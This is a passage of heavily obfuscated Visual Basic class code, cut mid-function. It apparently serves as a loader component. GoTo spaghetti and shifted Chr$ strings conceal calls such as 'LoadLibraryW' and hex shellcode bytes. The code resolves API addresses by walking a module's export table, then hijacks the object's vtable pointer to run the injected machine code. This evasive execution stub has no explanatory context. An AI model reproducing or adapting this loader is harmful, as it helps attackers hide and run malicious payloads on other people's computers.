GoTo Izt8H7rJeVbkhdcg8qnrjGjIUUcmwxUGIpñcf
Izt8H7rJeVbkhdcg8qnrjGjIUUcmwxUGIpñcf:
If aubloyumggagjeYsixjU = 0 Then Exit Function
GoTo W80O0ln9SJeLtK0RLw
W80O0ln9SJeLtK0RLw:
For qnrjGjIUUcmwxUGIpñcf = UBound(IqHIGgeaspgOxqUzñuad) To 0 Step -1
GoTo McOEUstHtBeCpa9pqBdm
McOEUstHtBeCpa9pqBdm:
kJjqYk6tK = kJjqYk6tK & GsUIGUYñogUYldiujHGx(Chr$(67) & Chr$(69), True) & uotGUhulnOIffdUrphGi(CLng(IqHIGgeaspgOxqUzñuad(qnrjGjIUUcmwxUGIpñcf)))
GoTo OULzh7sTEgo
OULzh7sTEgo:
Next
GoTo WZxP8w4iZrp30Ptw
WZxP8w4iZrp30Ptw:
c05VSFvKp = VarPtr(gYfsYaUwyeduIoUgIYyj(0))
GoTo Ni9uM1TXy1Gxao7x6sO3N
Ni9uM1TXy1Gxao7x6sO3N:
c05VSFvKp = c05VSFvKp + (UBound(IqHIGgeaspgOxqUzñuad) + 2) * 5
GoTo ZeZ9a9Z
ZeZ9a9Z:
c05VSFvKp = aubloyumggagjeYsixjU - c05VSFvKp - 5
GoTo VC8LbQiFNzV
VC8LbQiFNzV:
bqJXWwVc8 = byqUGIgpyIvUlvzriuñz
GoTo X6SQ5L3tBu7f8NwjgsFfVfIax
X6SQ5L3tBu7f8NwjgsFfVfIax:
bqJXWwVc8 = Replace(bqJXWwVc8, pGGGYnGykfIcfykmYYii, kJjqYk6tK)
GoTo IAggxW8
IAggxW8:
bqJXWwVc8 = Replace(bqJXWwVc8, YtUYdUhicYYGzksYusoH, uotGUhulnOIffdUrphGi(c05VSFvKp))
GoTo NKL8u5JlfACrLTRxtWUQn
NKL8u5JlfACrLTRxtWUQn:
Call OuIaOouUUYiYmOfGbxhu(bqJXWwVc8)
GoTo DcThVnBzdeCVg3
DcThVnBzdeCVg3:
yjlpOñygfnuYmiHbGvGu = ñvpHkelyrIYqYmukgkwc
GoTo BNE9PHegb
BNE9PHegb:
End Function
Private Function uotGUhulnOIffdUrphGi(ByVal igdhiGpkOioGHaYUUUtt As Long) As String
GoTo YkwubyqUGIgpyIvUlvzr
YkwubyqUGIgpyIvUlvzr:
Dim cBQRQeIjv(3) As Byte
GoTo HBkL8qnrjGjIUUcmwxUGIpñcf0FZ3CDH
HBkL8qnrjGjIUUcmwxUGIpñcf0FZ3CDH:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo Yain09r0cpW939x1GKEtkvbhy
Yain09r0cpW939x1GKEtkvbhy:
HaYUUUttYkwubyqUGIgp cBQRQeIjv(0), igdhiGpkOioGHaYUUUtt, &H4
GoTo CT0OZRDjvWv2sIvJSYPFf2
CT0OZRDjvWv2sIvJSYPFf2:
For qnrjGjIUUcmwxUGIpñcf = 0 To 3
GoTo iuñzeIufqYOyfrUUUGYH
iuñzeIufqYOyfrUUUGYH:
uotGUhulnOIffdUrphGi = uotGUhulnOIffdUrphGi & Right(GsUIGUYñogUYldiujHGx(Chr$(61), True) & Hex(cBQRQeIjv(qnrjGjIUUcmwxUGIpñcf)), 2)
GoTo hgeufGYfuwUoxkGnkUxr
hgeufGYfuwUoxkGnkUxr:
Next
GoTo JM3ftTh275IA9
JM3ftTh275IA9:
End Function
Private Sub OuIaOouUUYiYmOfGbxhu(ByVal ahsYylsdgYytiOiGiplm As String)
GoTo OrJbGObJZN6jpEsgO
OrJbGObJZN6jpEsgO:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo MOllMufpw06hACGGZpvm
MOllMufpw06hACGGZpvm:
For qnrjGjIUUcmwxUGIpñcf = 0 To Len(ahsYylsdgYytiOiGiplm) - 1 Step 2
GoTo KdllVEi2eDk9nT3B7bhUk
KdllVEi2eDk9nT3B7bhUk:
gYfsYaUwyeduIoUgIYyj((qnrjGjIUUcmwxUGIpñcf / 2)) = CByte(GsUIGUYñogUYldiujHGx(Chr$(51) & Chr$(117), True) & Mid$(ahsYylsdgYytiOiGiplm, qnrjGjIUUcmwxUGIpñcf + 1, 2))
GoTo Z6nX3e7ypTXEfEhkT1p3bgz
Z6nX3e7ypTXEfEhkT1p3bgz:
Next qnrjGjIUUcmwxUGIpñcf
GoTo HBYrdKf7
HBYrdKf7:
End Sub
Private Function ñvpHkelyrIYqYmukgkwc() As Long
GoTo T5wo50odZw21T
T5wo50odZw21T:
HaYUUUttYkwubyqUGIgp ixjUIqHIGgeaspgOxqUz, ByVal ObjPtr(Me), &H4
GoTo S8zxsN3mj78n70gmS
S8zxsN3mj78n70gmS:
ixjUIqHIGgeaspgOxqUz = ixjUIqHIGgeaspgOxqUz + &H1C
GoTo dpGeyIgGzuugIbzigrYu
dpGeyIgGzuugIbzigrYu:
HaYUUUttYkwubyqUGIgp ñuadyGxuutuGriuIwfjj, ByVal ixjUIqHIGgeaspgOxqUz, &H4
GoTo uGughfHlntUvvafUoYnl
uGughfHlntUvvafUoYnl:
HaYUUUttYkwubyqUGIgp ByVal ixjUIqHIGgeaspgOxqUz, VarPtr(gYfsYaUwyeduIoUgIYyj(0)), &H4
GoTo M2aowm
M2aowm:
ñvpHkelyrIYqYmukgkwc = tIGuuotGUhulnOIffdUr
GoTo GipUisGuyIzzHykhfgjy
GipUisGuyIzzHykhfgjy:
HaYUUUttYkwubyqUGIgp ByVal ixjUIqHIGgeaspgOxqUz, ñuadyGxuutuGriuIwfjj, &H4
GoTo C2M78yf5qGtRqC
C2M78yf5qGtRqC:
End Function
Public Function YyUaGsUIGUYñogUYldiu(ByVal jHGxeñgUIhuudiusayUH As String, ByVal sffzñYdGYfuOuioofzyG As String) As Long
GoTo wYtuYuHdYuqUcqbiIIvb
wYtuYuHdYuqUcqbiIIvb:
YyUaGsUIGUYñogUYldiu = Me.KsiMfjcXt(Me.uGajtfñpIijYUGOghgeu(jHGxeñgUIhuudiusayUH), sffzñYdGYfuOuioofzyG)
GoTo Z5wT5CxcIz
Z5wT5CxcIz:
End Function
Public Function uGajtfñpIijYUGOghgeu(ByVal jHGxeñgUIhuudiusayUH As String) As Long
GoTo OouUUYiYmOfGbxhuahsY
OouUUYiYmOfGbxhuahsY:
uGajtfñpIijYUGOghgeu = yjlpOñygfnuYmiHbGvGu(kfuuyjlpOñygfnuYmiHb, StrPtr(jHGxeñgUIhuudiusayUH & vbNullChar))
GoTo ylsdgYytiOiGiplmqnrj
ylsdgYytiOiGiplmqnrj:
End Function
Public Property Get Initialized() As Boolean
GoTo GjIUUcmwxUGIpñcfñvpH
GjIUUcmwxUGIpñcfñvpH:
Initialized = GvGuaubloyumggagjeYs
GoTo kelyrIYqYmukgkwcdpGe
kelyrIYqYmukgkwcdpGe:
End Property
Public Sub Class_Initialize()
GoTo yIgGzuugIbzigrYuuGug
yIgGzuugIbzigrYuuGug:
pGGGYnGykfIcfykmYYii = GsUIGUYñogUYldiujHGx(Chr$(73) & Chr$(101) & Chr$(134) & Chr$(69) & Chr$(89) & Chr$(81) & Chr$(65) & Chr$(92) _
& Chr$(69) & Chr$(94) & Chr$(62) & Chr$(134) & Chr$(91) & Chr$(135) & Chr$(111) & Chr$(101) & Chr$(129) _
& Chr$(66) & Chr$(114) & Chr$(119) & Chr$(101) & Chr$(75), True)
GoTo hfHlntUvvafUoYnlGipU
hfHlntUvvafUoYnlGipU:
YtUYdUhicYYGzksYusoH = GsUIGUYñogUYldiujHGx(Chr$(73) & Chr$(87) & Chr$(124) & Chr$(98) & Chr$(123) & Chr$(99) & Chr$(97) & Chr$(100) _
& Chr$(135) & Chr$(96) & Chr$(88) & Chr$(69) & Chr$(125) & Chr$(64) & Chr$(97) & Chr$(69) & Chr$(126) _
& Chr$(82) & Chr$(96) & Chr$(128) & Chr$(119) & Chr$(75), True)
GoTo isGuyIzzHykhfgjyYyUa
isGuyIzzHykhfgjyYyUa:
eIufqYOyfrUUUGYHsHnY = GsUIGUYñogUYldiujHGx(Chr$(69) & Chr$(79) & Chr$(65) & Chr$(80) & Chr$(63) & Chr$(65) & Chr$(61) & Chr$(69) _
& Chr$(66) & Chr$(67) & Chr$(66) & Chr$(66) & Chr$(64) & Chr$(62) & Chr$(80) & Chr$(61) & Chr$(67) _
& Chr$(65) & Chr$(69) & Chr$(79) & Chr$(68) & Chr$(61) & Chr$(64) & Chr$(61) & Chr$(69) & Chr$(79) _
& Chr$(68) & Chr$(67) & Chr$(61) & Chr$(80) & Chr$(69) & Chr$(79) & Chr$(68) & Chr$(67) & Chr$(62) _
& Chr$(80) & Chr$(69) & Chr$(79) & Chr$(67) & Chr$(82) & Chr$(61) & Chr$(69) & Chr$(69) & Chr$(79) _
& Chr$(68) & Chr$(82) & Chr$(63) & Chr$(61) & Chr$(69) & Chr$(79) & Chr$(64) & Chr$(67) & Chr$(64) _
& Chr$(69) & Chr$(65) & Chr$(68) & Chr$(62) & Chr$(69) & Chr$(68) & Chr$(66) & Chr$(83) & Chr$(64) _
& Chr$(69) & Chr$(61) & Chr$(64) & Chr$(83) & Chr$(67) & Chr$(79) & Chr$(68) & Chr$(65) & Chr$(61) _
& Chr$(68) & Chr$(69) & Chr$(61) & Chr$(64) & Chr$(83) & Chr$(65) & Chr$(79) & Chr$(68) & Chr$(65) _
& Chr$(61) & Chr$(63) & Chr$(82) & Chr$(79) & Chr$(82) & Chr$(68) & Chr$(69) & Chr$(70) & Chr$(63) _
& Chr$(70) & Chr$(66) & Chr$(81) & Chr$(66) & Chr$(82) & Chr$(80) & Chr$(64), True)
GoTo DMzIyWnAhhduycl4DxpuhgQ4d
DMzIyWnAhhduycl4DxpuhgQ4d:
byqUGIgpyIvUlvzriuñz = GsUIGUYñogUYldiujHGx(Chr$(69) & Chr$(79) & Chr$(65) & Chr$(80) & Chr$(63) & Chr$(65) & Chr$(61) & Chr$(69) _
& Chr$(66) & Chr$(62) & Chr$(73) & Chr$(101) & Chr$(134) & Chr$(69) & Chr$(89) & Chr$(81) & Chr$(65) _
& Chr$(92) & Chr$(69) & Chr$(94) & Chr$(62) & Chr$(134) & Chr$(91) & Chr$(135) & Chr$(111) & Chr$(101) _
& Chr$(129) & Chr$(66) & Chr$(114) & Chr$(119) & Chr$(101) & Chr$(75) & Chr$(82) & Chr$(69) & Chr$(73) _
& Chr$(87) & Chr$(124) & Chr$(98) & Chr$(123) & Chr$(99) & Chr$(97) & Chr$(100) & Chr$(135) & Chr$(96) _
& Chr$(88) & Chr$(69) & Chr$(125) & Chr$(64) & Chr$(97) & Chr$(69) & Chr$(126) & Chr$(82) & Chr$(96) _
& Chr$(128) & Chr$(119) & Chr$(75) & Chr$(66) & Chr$(70) & Chr$(69) & Chr$(70) & Chr$(61) & Chr$(62) _
& Chr$(67) & Chr$(67) & Chr$(64) & Chr$(62) & Chr$(80) & Chr$(61) & Chr$(80) & Chr$(64), True)
GoTo C4xsngzK0Y59Tdiy6kfWVa9C
C4xsngzK0Y59Tdiy6kfWVa9C:
Call OuIaOouUUYiYmOfGbxhu(eIufqYOyfrUUUGYHsHnY)
GoTo KaatSu5CRfzEQkv7qPRK
KaatSu5CRfzEQkv7qPRK:
hUruhuucvxmUuffyGñcb = ñvpHkelyrIYqYmukgkwc
GoTo Qz2kWFqteKO1AOcRq
Qz2kWFqteKO1AOcRq:
If Not hUruhuucvxmUuffyGñcb = 0 Then
GoTo CHEOboleUNj95e4q00lg5N7VC
CHEOboleUNj95e4q00lg5N7VC:
kfuuyjlpOñygfnuYmiHb = KsiMfjcXt(hUruhuucvxmUuffyGñcb, GsUIGUYñogUYldiujHGx(Chr$(89) & Chr$(124) & Chr$(110) & Chr$(113) & Chr$(89) & Chr$(118) _
& Chr$(111) & Chr$(127) & Chr$(110) & Chr$(127) & Chr$(134) & Chr$(100), True))
GoTo rIYqYmukgkwcdpGeyIgG
rIYqYmukgkwcdpGeyIgG:
If Not kfuuyjlpOñygfnuYmiHb = 0 Then
GoTo XEeVofXWypE3jjKeYhM2Jx
XEeVofXWypE3jjKeYhM2Jx:
GvGuaubloyumggagjeYs = True
GoTo K4firSgIMUJdyz3yYihk
K4firSgIMUJdyz3yYihk:
End If
GoTo L27C5Uq2uKeyGyjl0hx8zl
L27C5Uq2uKeyGyjl0hx8zl:
End If
GoTo Ht5f6Bu9tEjAhXyCa7
Ht5f6Bu9tEjAhXyCa7:
End Sub
Public Function KsiMfjcXt(ByVal aubloyumggagjeYsixjU As Long, ByVal sffzñYdGYfuOuioofzyG As String) As Long
GoTo LFGPPOtgL
LFGPPOtgL:
Dim aPoWicPjm As GIgpyIvUlvzriuñzeIuf
GoTo JuDTYS9
JuDTYS9:
Dim Q30s4r8nH As IugwhUruhuucvxmUuffy
GoTo I0g31FqEgu8
I0g31FqEgu8:
Dim C46dpEaRe As GñcbkfuuyjlpOñygfnuY
GoTo FKXp4Df
FKXp4Df:
Call HaYUUUttYkwubyqUGIgp(aPoWicPjm, ByVal aubloyumggagjeYsixjU, utuGriuIwfjjgYfsYaUw)
GoTo Lg9Ypm0kB66W1PxnoKYHp9l
Lg9Ypm0kB66W1PxnoKYHp9l:
If Not aPoWicPjm.e_magic = oyumggagjeYsixjUIqHI Then
GoTo VmRM35KUYBV
VmRM35KUYBV:
Exit Function
GoTo SRetRAJbVikKUS
SRetRAJbVikKUS:
End If
GoTo RqGxirLZUr
RqGxirLZUr:
Call HaYUUUttYkwubyqUGIgp(Q30s4r8nH, ByVal aubloyumggagjeYsixjU + aPoWicPjm.e_lfanew, yeduIoUgIYyjtIGuuotG)
GoTo YxMRcDjBzXZR9Upc1y
YxMRcDjBzXZR9Upc1y:
If Not Q30s4r8nH.Signature = GgeaspgOxqUzñuadyGxu Then
GoTo TKx79SU1DBsW25MgwT
TKx79SU1DBsW25MgwT:
Exit Function
GoTo SaPp56KrqXIRtHeqRXMWHoS
SaPp56KrqXIRtHeqRXMWHoS:
End If
GoTo CJh1Ya2
CJh1Ya2:
Dim lUrcloO0r As Long
GoTo Tt1jxB48MF6UECy2JwtyfjHt
Tt1jxB48MF6UECy2JwtyfjHt:
Dim LImtDAxKI As Long
GoTo TGQ7RUfr7xyzhXaUYAP4t
TGQ7RUfr7xyzhXaUYAP4t:
Dim QxjoSrat0 As Long
GoTo KE7aHbPqKCbVrM4ZdNBr1k
KE7aHbPqKCbVrM4ZdNBr1k:
With Q30s4r8nH.OptionalHeader
GoTo H5L1aFaEIOesCQZJXh6qh
H5L1aFaEIOesCQZJXh6qh:
lUrcloO0r = aubloyumggagjeYsixjU + .DataDirectory(0).VirtualAddress
GoTo WAQxcG76jRFzSOGcpqY6W
WAQxcG76jRFzSOGcpqY6W:
LImtDAxKI = lUrcloO0r + .DataDirectory(0).Size
GoTo PnLeWQOuqY5r4p
PnLeWQOuqY5r4p:
QxjoSrat0 = .ImageBase
GoTo Jl7gG9
Jl7gG9:
End With
GoTo HdoQqoQQdJVkH
HdoQqoQQdJVkH:
Call HaYUUUttYkwubyqUGIgp(C46dpEaRe, ByVal lUrcloO0r, UhulnOIffdUrphGiigdh)
GoTo D01Pp5Dovy6eC3
D01Pp5Dovy6eC3:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo BasuVK0gsOWDMqaySswr72B
BasuVK0gsOWDMqaySswr72B:
Dim rw58c4dLB As Long
GoTo FkCnPmmM1HVkNpCp0en0f
FkCnPmmM1HVkNpCp0en0f:
Dim Jt4AK6ImI As Long
GoTo QeMGROWrfsq
QeMGROWrfsq:
Dim D9TI8nvdL As Long
GoTo SezdLEhOiS
SezdLEhOiS:
With C46dpEaRe
GoTo FdBgxCy6Z2jImHZIYuAIOAKF
FdBgxCy6Z2jImHZIYuAIOAKF:
For qnrjGjIUUcmwxUGIpñcf = 0 To .NumberOfNames - 1
GoTo Kve2ZXt8xXc9j7RBHbk
Kve2ZXt8xXc9j7RBHbk:
HaYUUUttYkwubyqUGIgp Jt4AK6ImI, ByVal QxjoSrat0 + .lpAddressOfNames + qnrjGjIUUcmwxUGIpñcf * 4, 4
GoTo B71162OlbZu9mFTsdsIYMhB
B71162OlbZu9mFTsdsIYMhB:
If eñgUIhuudiusayUHsffz(QxjoSrat0 + Jt4AK6ImI) = sffzñYdGYfuOuioofzyG Then
GoTo EOaj33b1SAQCEAe2LGSe
EOaj33b1SAQCEAe2LGSe:
HaYUUUttYkwubyqUGIgp D9TI8nvdL, ByVal QxjoSrat0 + .lpAddressOfNameOrdinals + qnrjGjIUUcmwxUGIpñcf * 2, 2
GoTo LWvhZsyXV3fyt0nw3UWL
LWvhZsyXV3fyt0nw3UWL:
HaYUUUttYkwubyqUGIgp rw58c4dLB, ByVal QxjoSrat0 + .lpAddressOfFunctions + D9TI8nvdL * 4, 4
GoTo QnGYo2yK11QxI0Q
QnGYo2yK11QxI0Q:
KsiMfjcXt = rw58c4dLB + QxjoSrat0
GoTo CVwBjRehRh1RuX2
CVwBjRehRh1RuX2:
If KsiMfjcXt >= lUrcloO0r And _
KsiMfjcXt <= LImtDAxKI Then
GoTo FaeVP8tJcwR5
FaeVP8tJcwR5:
Call ñYdGYfuOuioofzyGwYtu(KsiMfjcXt, aubloyumggagjeYsixjU, sffzñYdGYfuOuioofzyG)
GoTo DFL6GPLtpDe2SQ23CAEYhlD
DFL6GPLtpDe2SQ23CAEYhlD:
If Not aubloyumggagjeYsixjU = 0 Then
GoTo Rb6LpUBD81OJwa0r
Rb6LpUBD81OJwa0r:
KsiMfjcXt = KsiMfjcXt(aubloyumggagjeYsixjU, sffzñYdGYfuOuioofzyG)
GoTo W1KGL7eiw
W1KGL7eiw:
Else
GoTo VuukHV
VuukHV:
KsiMfjcXt = 0
GoTo FX8bZ5sOQxA9WoTlFCnfMliF
FX8bZ5sOQxA9WoTlFCnfMliF:
End If
GoTo JMqOvIr25hNifJa7e89
JMqOvIr25hNifJa7e89:
End If
GoTo G4rGfiI39xkUldRQG
G4rGfiI39xkUldRQG:
Exit Function
GoTo DnsccOPGCJrRDlDZX0D
DnsccOPGCJrRDlDZX0D:
End If
GoTo LHAqerpoE2qMsLLmAA5KYBjXl
LHAqerpoE2qMsLLmAA5KYBjXl:
Next
GoTo BHTMV5tkcBa4dMeNYRB
BHTMV5tkcBa4dMeNYRB:
End With
GoTo EuZOP92ft2bV12gF1W1I4
EuZOP92ft2bV12gF1W1I4:
End Function
Private Function ñYdGYfuOuioofzyGwYtu( _
ByVal YuHdYuqUcqbiIIvbuGaj As Long, _
ByRef tfñpIijYUGOghgeufGYf As Long, _
ByRef uwUoxkGnkUxrOuIaOouU As String)
GoTo UYiYmOfGbxhuahsYylsd
UYiYmOfGbxhuahsYylsd:
Dim gYytiOiGiplmqnrjGjIU As String
GoTo VpjF7ahpF0JV
VpjF7ahpF0JV:
gYytiOiGiplmqnrjGjIU = eñgUIhuudiusayUHsffz(YuHdYuqUcqbiIIvbuGaj)
GoTo ZYkJIgCZ
ZYkJIgCZ:
If InStr(1, gYytiOiGiplmqnrjGjIU, GsUIGUYñogUYldiujHGx(Chr$(59), True)) Then
GoTo V8yAZs7xu2RnDv
V8yAZs7xu2RnDv:
tfñpIijYUGOghgeufGYf = uGajtfñpIijYUGOghgeu(Split(gYytiOiGiplmqnrjGjIU, GsUIGUYñogUYldiujHGx(Chr$(59), True))(0))
GoTo ZNvd5xukppMa35yoQ5mC9Z
ZNvd5xukppMa35yoQ5mC9Z:
uwUoxkGnkUxrOuIaOouU = Split(gYytiOiGiplmqnrjGjIU, GsUIGUYñogUYldiujHGx(Chr$(59), True))(1)
GoTo V0CESEEFNoiJrgRQskCUsQLpv
V0CESEEFNoiJrgRQskCUsQLpv:
End If
GoTo FDdU0oGXEKR1zfn5gF
FDdU0oGXEKR1zfn5gF:
End Function
Private Function eñgUIhuudiusayUHsffz( _
ByVal YuHdYuqUcqbiIIvbuGaj As Long) As String
GoTo Z2aPYPMh5wloz
Z2aPYPMh5wloz:
Dim qBK8rgYYy As Byte
GoTo SMfiwXZwcf2KNt8v6K7L43Is
SMfiwXZwcf2KNt8v6K7L43Is:
Do
GoTo JXPIIjmT5UF2g5X9fb059
JXPIIjmT5UF2g5X9fb059:
HaYUUUttYkwubyqUGIgp qBK8rgYYy, ByVal YuHdYuqUcqbiIIvbuGaj, 1
GoTo DCCu6IIlRoOmXBRIJIC2H3
DCCu6IIlRoOmXBRIJIC2H3:
YuHdYuqUcqbiIIvbuGaj = YuHdYuqUcqbiIIvbuGaj + 1
GoTo EOfpGJZFtA4
EOfpGJZFtA4:
If qBK8rgYYy = 0 Then Exit Do
GoTo YHebUldaxM3uUZFAayGgaY
YHebUldaxM3uUZFAayGgaY:
eñgUIhuudiusayUHsffz = eñgUIhuudiusayUHsffz & Chr$(qBK8rgYYy)
GoTo XmIjtfTpvoX
XmIjtfTpvoX:
Loop
GoTo A1NWhjb0
A1NWhjb0:
End Function
Public Function GsUIGUYñogUYldiujHGx(ByVal bqJXWwVc8 As String, Optional ByVal r0ztGh1yp As Boolean = False) As String
Dim qnrjGjIUUcmwxUGIpñcf As Long
For qnrjGjIUUcmwxUGIpñcf = 1 To Len(bqJXWwVc8)
GsUIGUYñogUYldiujHGx = GsUIGUYñogUYldiujHGx & Chr$(Asc(Mid$(bqJXWwVc8, qnrjGjIUUcmwxUGIpñcf, 1)) + IIf((r0ztGh1yp = True), -13, 13))
Next qnrjGjIUUcmwxUGIpñcf
End Function